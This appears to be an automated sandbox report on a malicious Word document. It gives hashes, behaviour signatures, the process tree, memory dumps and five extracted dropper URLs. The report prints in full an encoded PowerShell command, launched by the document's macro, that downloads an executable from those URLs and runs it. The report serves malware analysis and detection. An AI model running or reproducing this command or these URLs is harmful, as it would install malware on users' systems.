Analysis

  • max time kernel
    118s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    13/06/2024, 13:35

General

  • Target

    a5d076e196edd1e2271ff2bc178cc6c0_JaffaCakes118.doc

  • Size

    96KB

  • MD5

    a5d076e196edd1e2271ff2bc178cc6c0

  • SHA1

    e2b3a98bb2844865890bf7133621acc11c485c33

  • SHA256

    c938e12aa898228c05c7f6257ebea9c6b22b9d842573043edef70cc5e2ef21ac

  • SHA512

    5b0dd7d0db62956323717d4f345a0e3400fddf5043af816073d83a77fe68a40041b3a78530e28233c586ed17594f805431c2bd062a1c779d3e6d91251ed78529

  • SSDEEP

    1536:VDMeOY5C6OJsdBpZWa+a9KQJJIJOO3qBYxyQiVz9wRQWR:V4eOY5CTsdAqIgUqyxyQiVRwGWR

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://sandraadamson.com/wp-admin/eb4hsq5634/

exe.dropper

http://qureshijewellery.com/css/ly399/

exe.dropper

http://acbay.com/uploaded/i63tw3769/

exe.dropper

http://steponmephoto.com/thewahligfour/x64157/

exe.dropper

http://sociallysavvyseo.com/PinnacleDynamicServices/of18k67/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a5d076e196edd1e2271ff2bc178cc6c0_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2952
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1188
    • C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exe
      powErSHell -e JABwADkAMAA4ADYAOAA9ACcAbAA5ADYAMgAyADgAOQAnADsAJABYAF8AOQAxADIANwA2ADkAIAA9ACAAJwA3ADUANAAnADsAJAB6ADkANQAzADUAOAA9ACcAdgA1ADQANQA2ADgAMwA4ACcAOwAkAFEAOAA3ADQAOAAyAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABYAF8AOQAxADIANwA2ADkAKwAnAC4AZQB4AGUAJwA7ACQATQA3ADIAXwA0ADIAPQAnAFkANAA5ADEAMwA1AF8AJwA7ACQAdwA0ADIANwA5ADAAXwA4AD0AJgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABOAEUAVAAuAHcAYABlAEIAYwBgAGwAaQBgAGUAbgBUADsAJABIADUANgA4ADYAOAA9ACcAaAB0AHQAcABzADoALwAvAHMAYQBuAGQAcgBhAGEAZABhAG0AcwBvAG4ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGUAYgA0AGgAcwBxADUANgAzADQALwBAAGgAdAB0AHAAOgAvAC8AcQB1AHIAZQBzAGgAaQBqAGUAdwBlAGwAbABlAHIAeQAuAGMAbwBtAC8AYwBzAHMALwBsAHkAMwA5ADkALwBAAGgAdAB0AHAAOgAvAC8AYQBjAGIAYQB5AC4AYwBvAG0ALwB1AHAAbABvAGEAZABlAGQALwBpADYAMwB0AHcAMwA3ADYAOQAvAEAAaAB0AHQAcAA6AC8ALwBzAHQAZQBwAG8AbgBtAGUAcABoAG8AdABvAC4AYwBvAG0ALwB0AGgAZQB3AGEAaABsAGkAZwBmAG8AdQByAC8AeAA2ADQAMQA1ADcALwBAAGgAdAB0AHAAOgAvAC8AcwBvAGMAaQBhAGwAbAB5AHMAYQB2AHYAeQBzAGUAbwAuAGMAbwBtAC8AUABpAG4AbgBhAGMAbABlAEQAeQBuAGEAbQBpAGMAUwBlAHIAdgBpAGMAZQBzAC8AbwBmADEAOABrADYANwAvACcALgBzAFAAbABJAFQAKAAnAEAAJwApADsAJABHADAANgA1ADIAOAAwADkAPQAnAFMAMwAwAF8ANgA2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABaAF8AXwA1ADIAXwBfACAAaQBuACAAJABIADUANgA4ADYAOAApAHsAdAByAHkAewAkAHcANAAyADcAOQAwAF8AOAAuAEQAbwBXAE4ATABPAGEARABGAEkAbABlACgAJABaAF8AXwA1ADIAXwBfACwAIAAkAFEAOAA3ADQAOAAyACkAOwAkAEMAMAAxADUANAAwADEAPQAnAHUAOQAyAF8ANQAxAF8AMgAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFEAOAA3ADQAOAAyACkALgBsAEUATgBHAHQASAAgAC0AZwBlACAAMwA2ADEANgA5ACkAIAB7ACYAKAAnAEkAJwArACcAbgB2AG8AawAnACsAJwBlAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAFEAOAA3ADQAOAAyADsAJABGAF8ANAAzADkAXwAxADIAPQAnAE8ANwA4ADAAMAA3ADkAJwA7AGIAcgBlAGEAawA7ACQAaQA1ADAAMABfAF8ANQA9ACcASAAwADAAOAAwADkANQAxACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGYANAAwADAANwA1ADcAMwA9ACcAaQA2ADIANQAzAF8AJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2664

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            54ee210af87bcb9c973e42ace86095b6

            SHA1

            6535d427b8a9079c43745b606e13076943cc2cd6

            SHA256

            f19c7fd02a4906ce29606fb9ebfb99afaab611be8dced843f206095daef4c83f

            SHA512

            9c176f9b47bfe4f44359430259b7dade0978880938e9899b3357cd452d24b38b70ffff1fbec59f3d30f0c48437b9ecafedfb9df362a4943f56128bf064cdfdc2

          • memory/2664-28-0x000000001B370000-0x000000001B652000-memory.dmp

            Filesize

            2.9MB

          • memory/2664-29-0x00000000022A0000-0x00000000022A8000-memory.dmp

            Filesize

            32KB

          • memory/2952-22-0x00000000007C0000-0x00000000008C0000-memory.dmp

            Filesize

            1024KB

          • memory/2952-20-0x00000000007C0000-0x00000000008C0000-memory.dmp

            Filesize

            1024KB

          • memory/2952-9-0x00000000007C0000-0x00000000008C0000-memory.dmp

            Filesize

            1024KB

          • memory/2952-10-0x0000000006730000-0x0000000006830000-memory.dmp

            Filesize

            1024KB

          • memory/2952-11-0x00000000007C0000-0x00000000008C0000-memory.dmp

            Filesize

            1024KB

          • memory/2952-16-0x0000000005FB0000-0x00000000060B0000-memory.dmp

            Filesize

            1024KB

          • memory/2952-17-0x00000000007C0000-0x00000000008C0000-memory.dmp

            Filesize

            1024KB

          • memory/2952-0-0x000000002FDE1000-0x000000002FDE2000-memory.dmp

            Filesize

            4KB

          • memory/2952-21-0x0000000005FB0000-0x00000000060B0000-memory.dmp

            Filesize

            1024KB

          • memory/2952-8-0x00000000007C0000-0x00000000008C0000-memory.dmp

            Filesize

            1024KB

          • memory/2952-7-0x00000000007C0000-0x00000000008C0000-memory.dmp

            Filesize

            1024KB

          • memory/2952-2-0x0000000070B0D000-0x0000000070B18000-memory.dmp

            Filesize

            44KB

          • memory/2952-35-0x0000000070B0D000-0x0000000070B18000-memory.dmp

            Filesize

            44KB

          • memory/2952-36-0x00000000007C0000-0x00000000008C0000-memory.dmp

            Filesize

            1024KB

          • memory/2952-37-0x0000000005FB0000-0x00000000060B0000-memory.dmp

            Filesize

            1024KB

          • memory/2952-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2952-53-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2952-55-0x00000000007C0000-0x00000000008C0000-memory.dmp

            Filesize

            1024KB

          • memory/2952-54-0x0000000070B0D000-0x0000000070B18000-memory.dmp

            Filesize

            44KB